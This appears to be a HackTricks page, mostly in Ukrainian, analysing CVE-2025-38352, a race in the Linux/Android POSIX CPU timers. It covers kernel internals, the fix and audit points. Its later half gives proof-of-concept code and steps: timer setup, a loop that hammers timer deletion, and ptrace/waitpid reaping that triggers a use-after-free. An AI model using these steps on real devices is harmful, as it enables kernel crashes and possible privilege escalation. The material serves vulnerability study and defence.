POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Перевірте плани підписки!

Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.

Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

На цій сторінці описано TOCTOU race у Linux/Android POSIX CPU timers, який може пошкодити стан таймера та спричинити крах ядра, а за певних обставин його можна спрямувати на privilege escalation.

Уразливий компонент: kernel/time/posix-cpu-timers.c
Примітив: expiry vs deletion race під час task exit
Залежить від конфігурації: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Короткий огляд внутрішніх деталей (relevant for exploitation)

Три CPU-годинники забезпечують облік для таймерів через cpu_clock_sample():
CPUCLOCK_PROF: utime + stime
CPUCLOCK_VIRT: utime only
CPUCLOCK_SCHED: task_sched_runtime()
Створення таймера прив’язує timer до task/pid і ініціалізує timerqueue nodes:

static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}

Армування вставляє елементи в per-base timerqueue і може оновити next-expiry cache:

static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}

Швидкий шлях уникає витратної обробки, якщо кешовані терміни закінчення не вказують на можливе спрацьовування:

static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}

Закінчення терміну дії збирає прострочені таймери, позначає їх як спрацьовані, переміщує їх з черги; фактична доставка відкладається:

#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

Два режими обробки спрацьовування

CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: спрацьовування відкладається через task_work у цільовому task
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: спрацьовування обробляється безпосередньо в контексті IRQ

Task_work vs IRQ: шляхи спрацьовування

```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```

У IRQ-контексті список спрацьовувань обробляється поза sighand

Цикл доставки в IRQ-контексті

```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```

Основна причина: TOCTOU між закінченням часу в IRQ та одночасним видаленням під час завершення задачі Передумови

CONFIG_POSIX_CPU_TIMERS_TASK_WORK вимкнено (використовується IRQ-шлях)
Цільова задача завершується, але ще не повністю зібрана
Інший потік одночасно викликає posix_cpu_timer_del() для того самого таймера

Послідовність

update_process_times() запускає run_posix_cpu_timers() в IRQ-контексті для задачі, що завершується.
collect_timerqueue() встановлює ctmr->firing = 1 і переміщує таймер у тимчасовий список firing.
handle_posix_cpu_timers() знімає sighand через unlock_task_sighand(), щоб доставляти таймери поза блокуванням.
Невдовзі після розблокування задача, що завершується, може бути зібрана; сусідній потік виконує posix_cpu_timer_del().
В цьому вікні posix_cpu_timer_del() може не змогти отримати стан через cpu_timer_task_rcu()/lock_task_sighand() і тому пропустити звичайний захист in-flight, який перевіряє timer->it.cpu.firing. Видалення продовжується так, ніби таймер не firing, що пошкоджує стан під час обробки спливу й призводить до крашів/непередбачуваної поведінки.

How release_task() and timer_delete() free firing timers

Навіть після того, як handle_posix_cpu_timers() забрав таймер зі списку задач, ptraced zombie все ще може бути зібраний. Стек waitpid() приводить до release_task() → __exit_signal(), що руйнує sighand і черги сигналів, поки інший CPU все ще тримає вказівники на об’єкт таймера:

static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL;             // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}

Коли sighand від’єднано, timer_delete() все одно повертає успіх, оскільки posix_cpu_timer_del() залишає ret = 0, коли блокування не вдається, тож syscall продовжує звільняти об’єкт через RCU:

static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out;                   // ret stays 0 -> userland sees success
// ... normal unlink path ...
}

SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer);            // call_rcu(k_itimer_rcu_free)
return 0;
}

Оскільки slab object звільняється через RCU, поки IRQ context все ще обходить список firing, повторне використання timer cache стає примітивом UAF.

Керування reaping за допомогою ptrace + waitpid

Найпростіший спосіб утримати zombie без автоматичного reaping — ptrace non-leader worker thread. exit_notify() спочатку встановлює exit_state = EXIT_ZOMBIE і переходить до EXIT_DEAD лише якщо autoreap = true. Для ptraced threads, autoreap = do_notify_parent() залишається false доти, поки SIGCHLD не ігнорується, тож release_task() виконується лише коли parent явно викликає waitpid():

Використовуйте pthread_create() всередині tracee, щоб victim не був thread-group leader (wait_task_zombie() обробляє ptraced non-leaders).
Parent викликає ptrace(PTRACE_ATTACH, tid) і пізніше waitpid(tid, __WALL), щоб запустити do_wait_pid() → wait_task_zombie() → release_task().
Pipes або shared memory передають точний TID батькові, щоб потрібний worker був reaped за запитом.

Ця хореографія гарантує вікно, в якому handle_posix_cpu_timers() все ще може звертатися до tsk->sighand, тоді як наступний waitpid() руйнує його і дозволяє timer_delete() звільнити той самий k_itimer object.

Чому режим TASK_WORK безпечний за дизайном

За CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry відкладається до task_work; exit_task_work виконується перед exit_notify, тому перекриття IRQ-time з reaping не відбувається.
Навіть тоді, якщо task вже exiting, task_work_add() зазнає невдачі; перевірка exit_state робить обидва режими узгодженими.

Fix (Android common kernel) and rationale

Додати ранній return якщо current task is exiting, щоб відсікти всю обробку:

// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;

Це запобігає входу в handle_posix_cpu_timers() для задач, що завершуються, усуваючи вікно, у якому posix_cpu_timer_del() могла пропустити it.cpu.firing і змагатися з обробкою завершення.

Вплив

Пошкодження пам’яті ядра в структурах таймерів під час одночасного завершення/видалення може призвести до негайних аварій (DoS) і є потужним примітивом для підвищення привілеїв через можливості довільної маніпуляції станом ядра.

Тригерування бага (безпечні, відтворювані умови) Build/config

Переконайтеся, що CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n і використовуйте ядро без виправлення, що вводить gating для exit_state. На x86/arm64 ця опція зазвичай включається примусово через HAVE_POSIX_CPU_TIMERS_TASK_WORK, тому дослідники часто патчать kernel/time/Kconfig, щоб відкрити ручний перемикач:

config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y

Це віддзеркалює те, що зробили Android vendors для analysis builds; upstream x86_64 і arm64 примусово встановлюють HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, тож уразливий IRQ-path здебільшого існує в 32-bit Android kernels, де опція відкомпільована.

Run on a multi-core VM (e.g., QEMU -smp cores=4) so parent, child main, and worker threads can stay pinned to dedicated CPUs.

Стратегія виконання

Націльтеся на потік, який збирається завершитися, і приєднайте до нього CPU timer (per-thread або process-wide clock):
For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
Встановіть дуже короткий початковий час спрацювання і малий інтервал, щоб максимізувати входження в IRQ-path:

static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}

З сусіднього потоку одночасно видаліть той самий таймер, поки цільовий потік завершується:

void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}

Посилювачі гонки: висока частота тіку планувальника, завантаження CPU, повторювані цикли виходу та повторного створення потоків. Аварія зазвичай проявляється, коли posix_cpu_timer_del() пропускає виявлення спрацьовування через невдалий task lookup/locking одразу після unlock_task_sighand().

Практична оркестрація PoC

Thread & IPC координація

Надійний відтворювач розгалужується на ptracing parent та дочірній процес, який створює вразливий worker thread. Дві pipe (c2p, p2c) передають worker TID і синхронізують кожну фазу, у той час як pthread_barrier_t заважає worker підготувати свій таймер, поки parent не приєднався. Кожен процес або thread прив’язується через sched_setaffinity() (наприклад, parent на CPU1, child main на CPU0, worker на CPU2), щоб мінімізувати шум планувальника й зберегти відтворюваність гонки.

Калібрування таймера з CLOCK_THREAD_CPUTIME_ID

Worker встановлює per-thread CPU timer так, щоб лише його власне споживання CPU просувало дедлайн. Налаштовуваний wait_time (за замовчуванням ≈250 µs процесорного часу) разом з обмеженим busy loop гарантують, що exit_notify() встановить EXIT_ZOMBIE саме тоді, коли таймер от-но має спрацювати:

Мінімальний скелет per-thread CPU timer

```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU time

static void timer_fire(sigval_t unused) { puts(“timer fired”); }

static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);

struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };

pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);

for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }

</details>

#### Хронологія гонки
1. Дочірній процес повідомляє батьківському процесу TID робітника через `c2p`, потім блокується на бар'єрі.
2. Батьківський процес виконує `PTRACE_ATTACH`, чекає в `waitpid(__WALL)`, потім `PTRACE_CONT`, щоб дозволити робітнику виконатися і завершитися.
3. Коли евристики (або ручне введення оператора) вказують, що таймер був переміщений у список `firing` на стороні IRQ, батько знову виконує `waitpid(tid, __WALL)`, щоб викликати release_task() і звільнити `tsk->sighand`.
4. Батько посилає сигнал дитині через `p2c`, щоб головний потік дитини міг викликати `timer_delete(timer)` і негайно запустити допоміжну функцію, наприклад `wait_for_rcu()`, поки RCU callback таймера не завершиться.
5. Контекст IRQ врешті відновлює `handle_posix_cpu_timers()` і робить dereference вже звільненого `struct k_itimer`, спричиняючи спрацьовування KASAN або WARN_ON().

#### Optional kernel instrumentation
У дослідницьких конфігураціях вствляння debug-only `mdelay(500)` всередину `handle_posix_cpu_timers()` коли `tsk->comm == "SLOWME"` розширює вікно, так що наведена хореографія майже завжди виграє гонку. Той же PoC також перейменовує потоки (`prctl(PR_SET_NAME, ...)`), щоб логи ядра і точки зупину підтверджували, що очікуваний робітник збирається.

### Instrumentation cues during exploitation
- Add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del() to spot cases where `it.cpu.firing==1` coincides with failed cpu_timer_task_rcu()/lock_task_sighand(); monitor timerqueue consistency when the victim exits.
- KASAN typically reports `slab-use-after-free` inside posix_timer_queue_signal(), while non-KASAN kernels log WARN_ON_ONCE() from send_sigqueue() when the race lands, giving a quick success indicator.

Гарячі точки аудиту (для рецензентів)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap

Примітки для дослідницької експлуатації
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.

## References
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 – In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)

> [!TIP]
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Вивчайте та практикуйте Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Підтримайте HackTricks</summary>
>
> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
>
> </details>